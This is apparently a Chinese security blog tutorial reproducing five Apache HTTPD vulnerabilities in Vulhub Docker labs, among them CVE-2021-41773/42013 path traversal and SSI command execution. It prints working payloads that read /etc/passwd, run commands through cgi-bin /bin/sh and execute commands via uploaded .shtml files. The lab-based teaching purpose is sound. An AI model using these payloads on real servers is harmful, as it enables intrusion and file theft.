中间件安全—Apache常见漏洞
中间件安全—Apache常见漏洞
- 1.Apache常见漏洞
- 1.1.Apache介绍
- 1.2.Apache HTTPD 换行解析漏洞(CVE-2017-15715)
- 1.2.1.漏洞介绍
- 1.2.2.漏洞环境
- 1.2.2.1.运行漏洞环境
- 1.2.2.2.访问漏洞环境
- 1.2.3.漏洞复现
- 1.2.3.1.拦截
- 1.2.3.2.添加换行
- 1.2.3.3.访问文件
- 1.3.Apache多后缀解析漏洞(apache_parsing_vulnerability)
- 1.3.1.漏洞介绍
- 1.3.2.漏洞环境
- 1.3.2.1.运行漏洞环境
- 1.3.2.2.访问漏洞环境
- 1.3.3.漏洞复现
- 1.3.3.1.拦截
- 1.3.3.2.添加后缀
- 1.3.3.3.访问文件
- 1.4.Apache HTTP 路径穿越漏洞(CVE-2021-41773)
- 1.4.1.漏洞介绍
- 1.4.2.漏洞环境
- 1.4.2.1.运行漏洞环境
- 1.4.2.2.访问漏洞环境
- 1.4.3.漏洞复现
- 1.4.3.1.抓包
- 1.4.3.2.读取任意文件
- 1.4.3.3.执行任意命令
- 1.5.Apache HTTP 路径穿越漏洞(CVE-2021-42013)
- 1.5.1.漏洞介绍
- 1.5.2.漏洞环境
- 1.5.2.1.运行漏洞环境
- 1.5.2.2.访问漏洞环境
- 1.5.3.漏洞复现
- 1.5.3.1.抓包
- 1.5.3.2.读取任意文件
- 1.6.Apache SSI 远程命令执行漏洞
- 1.6.1.漏洞介绍
- 1.6.2.漏洞环境
- 1.6.2.1.运行漏洞环境
- 1.6.2.2.访问漏洞环境
- 1.6.3.漏洞复现
- 1.6.3.1.编辑文件
- 1.6.3.2.上传文件
- 1.6.3.3.访问文件
1.Apache常见漏洞
1.1.Apache介绍
简单介绍一下apache是什么,Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将python等解释器编译到服务器中。
1.2.Apache HTTPD 换行解析漏洞(CVE-2017-15715)
1.2.1.漏洞介绍
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
1.2.2.漏洞环境
这里采用Vulhub一键搭建漏洞测试靶场,来进行漏洞复现。
1.2.2.1.运行漏洞环境
docker-compose build
docker-compose up -d

1.2.2.2.访问漏洞环境
http://your-ip:8080

1.2.3.漏洞复现
1.2.3.1.拦截
正常上传php文件就会出现上传失败。

1.2.3.2.添加换行
在1.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A),不再拦截,这里只需要选中0d,右击选择insert byte…后,输入0a即可插入至里面,然后发送。

1.2.3.3.访问文件
这里访问地址即可。
链接:http:ip地址:端口/文件名.php%0a

1.3.Apache多后缀解析漏洞(apache_parsing_vulnerability)
1.3.1.漏洞介绍
apache httpd支持一个文件多个后缀,windows对于多后缀的识别是看最后一个“.”之后的后缀名。apache对于多后缀文件的识别是从后往前识别,最后一个后缀不能被识别时,会往前识别。
1.3.2.漏洞环境
1.3.2.1.运行漏洞环境
docker-compose up -d

1.3.2.2.访问漏洞环境
http://your-ip

1.3.3.漏洞复现
1.3.3.1.拦截
由于设置了白名单,正常在上传php后缀文件后,会被拦截,无法正常进行上传。

1.3.3.2.添加后缀
由于特性原因,我们可以在后面添加不认识的后缀,或者其它后缀均可。这里我添加.jpg,形成1.php.jpg文件。

1.3.3.3.访问文件
通过返回的信息得到,我们是成功上传了我们的文件,并返回一个路径,我们在浏览器中访问一下文件,验证一下是否正常执行为php文件。
http://IP地址/uploadfiles/1.php.jpg

1.4.Apache HTTP 路径穿越漏洞(CVE-2021-41773)
1.4.1.漏洞介绍
在其2.4.49版本中,引入了一个路径穿越漏洞,满足下面两个条件的Apache服务器将会受到影响:
版本等于2.4.49
穿越的目录允许被访问(默认情况下是不允许的)
攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。
1.4.2.漏洞环境
1.4.2.1.运行漏洞环境
docker-compose build
docker-compose up -d

1.4.2.2.访问漏洞环境
在这里插入代码片
http://your-ip:8080

1.4.3.漏洞复现
1.4.3.1.抓包
首先这里先抓原始的包。

1.4.3.2.读取任意文件
在GET处插入POC,用来读取任意文件,但是需要注意/icons必须是一个存在且可访问的目录。
POC:/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

1.4.3.3.执行任意命令
在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令。
POC:/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh 最下面添加echo;id

1.5.Apache HTTP 路径穿越漏洞(CVE-2021-42013)
1.5.1.漏洞介绍
Apache官方在2.4.50版本中对2.4.49版本中出现的目录穿越漏洞CVE-2021-41773进行了修复,但这个修复是不完整的,CVE-2021-42013是对补丁的绕过。
攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。
这个漏洞可以影响Apache HTTP Server 2.4.49以及2.4.50两个版本。
1.5.2.漏洞环境
1.5.2.1.运行漏洞环境
docker-compose build
docker-compose up -d

1.5.2.2.访问漏洞环境
http://your-ip:8080

1.5.3.漏洞复现
这里总体来说和CVE-2021-41773步骤都是一样的,只是将.%2e替换为.%%32%65,若使用原先的payload无法使用,那么就说明2.4.50进行了修复。
1.5.3.1.抓包
首先这里先抓原始的包。

1.5.3.2.读取任意文件
在GET处插入POC,用来读取任意文件,但是需要注意/icons必须是一个存在且可访问的目录。
POC:/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

1.6.Apache SSI 远程命令执行漏洞
1.6.1.漏洞介绍
在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->语法执行任意命令。
1.6.2.漏洞环境
1.6.2.1.运行漏洞环境
docker-compose up -d

1.6.2.2.访问漏洞环境
http://your-ip:8080

1.6.3.漏洞复现
1.6.3.1.编辑文件
正常上传PHP文件是不允许的,我们可以上传一个shell.shtml文件,然后在文件中写入命令。
命令:<!--#exec cmd="ls" -->
1.6.3.2.上传文件
这里我们将文件进行上传,可以看到是成功上传了。

1.6.3.3.访问文件
可以看到成功显示目录下存在的文件。

相关文章:
中间件安全—Apache常见漏洞
中间件安全—Apache常见漏洞1.Apache常见漏洞1.1.Apache介绍1.2.Apache HTTPD 换行解析漏洞(CVE-2017-15715)1.2.1.漏洞介绍1.2.2.漏洞环境1.2.2.1.运行漏洞环境1.2.2.2.访问漏洞环境1.2.3.漏洞复现1.2.3.1.拦截1.2.3.2.添加换行1.2.3.3.访问文件1.3.Apa…...
Spring IOC 容器 Bean 加载过程
Spring IOC 容器 Bean 加载过程 Spring 对于我们所有的类对象进行了统一抽象,抽象为 BeanDefinition ,即 Bean 的定义,其中定义了类的全限定类名、加载机制、初始化方式、作用域等信息,用于对我们要自动装配的类进行生成。 Sprin…...
【DRF】Django Rest Framework(5.DRF中的通用视图类-GenericAPIView方法说明与使用说明)
1. GenericAPIView [通用视图类],概述 继承自 APIView增加了操作序列化器和数据库查询的方法,作用是为下面Mixin扩展类的执行提供方法支持。通常在使用时,可搭配一个或者多个Mixin扩展类源码 当我们查看 GenericAPIView 的源码时,…...
STM32 OTA应用开发——自制BootLoader
STM32 OTA应用开发——自制BootLoader 目录STM32 OTA应用开发——自制BootLoader前言1 环境搭建2 BootLoader工作原理以及常见分区介绍3 BootLoader的制作4 烧录下载配置5 运行测试结束语前言 什么是OTA? 百度百科:空中下载技术(Over-the-Ai…...
时域和频域的简单理解
目录文章背景结论举例说明说回频域连续或离散总结文章背景 时域和频域在傅里叶变换和拉普拉斯变换,z变换中经常提到的高频词。本文的重点就是想说明怎么理解 “频域” 这个名词。 结论 频域就是一个信号 所有组成频率的取值范围的集合 举例说明 以大家从中小学开…...
华为OD机试 - 第 K 个最小码值的字母 | 机试题算法思路 【2023】
最近更新的博客 华为OD机试 - 简易压缩算法(Python) | 机试题算法思路 【2023】 华为OD机试题 - 获取最大软件版本号(JavaScript) 华为OD机试 - 猜字谜(Python) | 机试题+算法思路 【2023】 华为OD机试 - 删除指定目录(Python) | 机试题算法思路 【2023】 华为OD机试 …...
离散数学笔记_第一章:逻辑和证明(1)
1.1命题逻辑1.1.1 命题 1.1.2 逻辑运算符 定义1: 否定联结词定义2: 合取联结词定义3: 析取联结词定义4: 异或联结词1.1.3 条件语句 定义5: 条件语句定义6: 双条件语句1.1.1 命题 1.命题:是…...
Rust FFI 与C语言互相调用
参考 https://cloud.tencent.com/developer/article/2077534 https://github.com/shepmaster/rust-ffi-omnibus cbindgen 简介 二进制方式构建 $ cargo install cbindgen //默认构建C头文件 C语言需要 --lang C $ cd /path/to/my/project && cbindgen . -o target/…...
从全局变量寻找到Tomcat回显方式
前言 对于回显的获取主要是在ApplicationFilterChain类的lastServicedRequest / lastServicedResponse两个属性,是使用的ThreadLocal进行修饰的,并且,在执行请求的过程中,通过反射修改属性值,能够记录下当前线程的req…...
Tapdata Connector 实用指南:数据入仓场景之数据实时同步到 BigQuery
【前言】作为中国的 “Fivetran/Airbyte”, Tapdata 是一个以低延迟数据移动为核心优势构建的现代数据平台,内置 60 数据连接器,拥有稳定的实时采集和传输能力、秒级响应的数据实时计算能力、稳定易用的数据实时服务能力,以及低代码可视化操作…...
关于机器人状态估计(12)-VIO/VSLAM的稀疏与稠密
VIO三相性与世界观室内ALL IN ONE 首先以此链接先对近期工作的视频做个正经的引流,完成得这么好的效果,仅仅是因为知乎限流1分钟以内的视频,导致整个浏览量不到300,让人非常不爽。 这套系统已经完成了,很快将正式发布…...
Python每日一练(20230220)
目录 1. 存在重复元素 II 2. 按要求实现程序功能 3. 分割链表 附录 链表 1. 存在重复元素 II 给定一个整数数组和一个整数 k,判断数组中是否存在两个不同的索引 i 和 j,使得 nums [i] nums [j],并且 i 和 j 的差的 绝对值 至多为 k。 …...
技术总监的“技术提升”
技术负责人的能力要求是什么?成本中心技术负责人最重要的工作是让其他CXO理解、认可并且支持技术部的工作,否则作为成本部门,在公司的地位会很低。技术创新光是让其他部门理解还不行,技术还需要创造价值,所以需要做技术创新。上面…...
kettle安装部署_简单认识_Spoon勺子界面---大数据之kettle工作笔记002
然后我们来看一下这个kettle的安装,很简单,下载解压就可以了 上面的地址是官网很烂 下面的地址好一些 这个是官网可以看到很慢,很不友好 这个是下面那个地址,可以看到 最新的是9.0了,一般都用 一般都用8.2 这里下载这个就可以了 下载以后可以看到有个pdi...
第三章 Kafka生产问题总结及性能优化实践
第三章 Kafka生产问题总结及性能优化实践 1、线上环境规划 JVM参数设置 kafka 是 scala 语言开发,运行在 JVM 上,需要对 JVM 参数合理设置,参看 JVM 调优专题 修改 bin/kafka-start-server.sh 中的 JVM 设置,假设机器是 32G 内…...
Comparable和Comparator的区别
一、概述 Comparable和Comparator都是用来实现比较的,一般用于集合中元素的比较 基本包装类型,Integer、Long以及String都实现了Comparable接口,该接口的排序逻辑必须写在比较对象中,所以又叫自然排序 我们一般集合排序使用的Col…...
全15万字丨PyTorch 深度学习实践、基础知识体系全集;忘记时,请时常回顾。
✨ ✨我们抬头便看到星光,星星却穿越了万年. ✨ ✨ 🎯作者主页:追光者♂ 🌸个人简介:在读计算机专业硕士研究生、CSDN-人工智能领域新星创作者🏆、2022年度博客之星人工智能领域TOP4🌟、阿里云…...
简洁易用的记账小程序——微点记账
背景 由于每个月的信用卡账单太过吓人,记性也不是特别的好,加上微信支付宝账单中有些明细不是很明确。比如在京东花销的明细不会记录用户购买了什么,只会记录那个通道支出的。所以,才会有了想自己开发一款记账小程序,…...
Windows平台上达梦数据库的ODBC安装与配置
文章目录概述安装包准备安装ODBC驱动配置ODBC数据源概述 最近很多公司都在响应信创,需要切换到国产数据库,然而很多数据库的一些基础组件的使用都没有一个很明确的官方文档。为了避免更多的人踩坑,本人将踩过的坑总结成博文,分享…...
哈希表的介绍
1.哈希表的介绍 在哈希表中插入、删除或查找一个元素都只需要O(1)的时间,因此经常被用来优化时间效率。 在Java中,哈希表有两个对应的类型,即HashSet和HashMap。 2.HashSet的应用 若每个元素都只有一个值,则用HashSet…...
龙虎榜——20250610
上证指数放量收阴线,个股多数下跌,盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型,指数短线有调整的需求,大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的:御银股份、雄帝科技 驱动…...
多模态大语言模型arxiv论文略读(108)
CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文标题:CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文作者:Sayna Ebrahimi, Sercan O. Arik, Tejas Nama, Tomas Pfister ➡️ 研究机构: Google Cloud AI Re…...
3-11单元格区域边界定位(End属性)学习笔记
返回一个Range 对象,只读。该对象代表包含源区域的区域上端下端左端右端的最后一个单元格。等同于按键 End 向上键(End(xlUp))、End向下键(End(xlDown))、End向左键(End(xlToLeft)End向右键(End(xlToRight)) 注意:它移动的位置必须是相连的有内容的单元格…...
Java 二维码
Java 二维码 **技术:**谷歌 ZXing 实现 首先添加依赖 <!-- 二维码依赖 --><dependency><groupId>com.google.zxing</groupId><artifactId>core</artifactId><version>3.5.1</version></dependency><de…...
在Ubuntu24上采用Wine打开SourceInsight
1. 安装wine sudo apt install wine 2. 安装32位库支持,SourceInsight是32位程序 sudo dpkg --add-architecture i386 sudo apt update sudo apt install wine32:i386 3. 验证安装 wine --version 4. 安装必要的字体和库(解决显示问题) sudo apt install fonts-wqy…...
安卓基础(Java 和 Gradle 版本)
1. 设置项目的 JDK 版本 方法1:通过 Project Structure File → Project Structure... (或按 CtrlAltShiftS) 左侧选择 SDK Location 在 Gradle Settings 部分,设置 Gradle JDK 方法2:通过 Settings File → Settings... (或 CtrlAltS)…...
永磁同步电机无速度算法--基于卡尔曼滤波器的滑模观测器
一、原理介绍 传统滑模观测器采用如下结构: 传统SMO中LPF会带来相位延迟和幅值衰减,并且需要额外的相位补偿。 采用扩展卡尔曼滤波器代替常用低通滤波器(LPF),可以去除高次谐波,并且不用相位补偿就可以获得一个误差较小的转子位…...
归并排序:分治思想的高效排序
目录 基本原理 流程图解 实现方法 递归实现 非递归实现 演示过程 时间复杂度 基本原理 归并排序(Merge Sort)是一种基于分治思想的排序算法,由约翰冯诺伊曼在1945年提出。其核心思想包括: 分割(Divide):将待排序数组递归地分成两个子…...
MySQL体系架构解析(三):MySQL目录与启动配置全解析
MySQL中的目录和文件 bin目录 在 MySQL 的安装目录下有一个特别重要的 bin 目录,这个目录下存放着许多可执行文件。与其他系统的可执行文件类似,这些可执行文件都是与服务器和客户端程序相关的。 启动MySQL服务器程序 在 UNIX 系统中,用…...
DAY 45 超大力王爱学Python
来自超大力王的友情提示:在用tensordoard的时候一定一定要用绝对位置,例如:tensorboard --logdir"D:\代码\archive (1)\runs\cifar10_mlp_experiment_2" 不然读取不了数据 知识点回顾: tensorboard的发展历史和原理tens…...
